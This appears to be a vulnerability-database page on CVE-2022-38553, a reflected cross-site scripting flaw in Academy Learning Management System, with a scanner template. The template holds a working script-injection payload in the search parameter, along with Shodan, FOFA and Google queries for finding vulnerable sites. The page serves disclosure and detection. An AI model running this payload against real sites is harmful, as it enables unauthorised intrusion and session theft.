CVE-2022-38553: Academy Learning Management System <5.9.1 - Cross-Site Scripting

2025-08-01 Academy Learning Management System PoC Public

Description

Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-38553

info:
  name: Academy Learning Management System <5.9.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Academy Learning Management System version 5.9.1 or later to mitigate the XSS vulnerability.
  reference:
    - https://www.youtube.com/watch?v=yFiZffHoeKs&ab_channel=4websecurity
    - https://github.com/4websecurity/CVE-2022-38553
    - https://codecanyon.net/item/academy-course-based-learning-management-system/22703468
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38553
    - http://academy.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38553
    cwe-id: CWE-79
    epss-score: 0.02512
    epss-percentile: 0.83978
    cpe: cpe:2.3:a:creativeitem:academy_learning_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_learning_management_system
    shodan-query: http.html:"study any topic, anytime"
    fofa-query: body="study any topic, anytime"
    google-query:
      - intext:"Study any topic, anytime"
      - intext:"study any topic, anytime"
  tags: cve2022,cve,academylms,xss,creativeitem,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'Study any topic'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cad32feb5d233734f4faf18b40be94a35ae384a63392992e7fbdcdc52a56d2c502202582d286398172b907e823714eb6dbaee2fff0746ff3317eefdbc4f057250bca:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities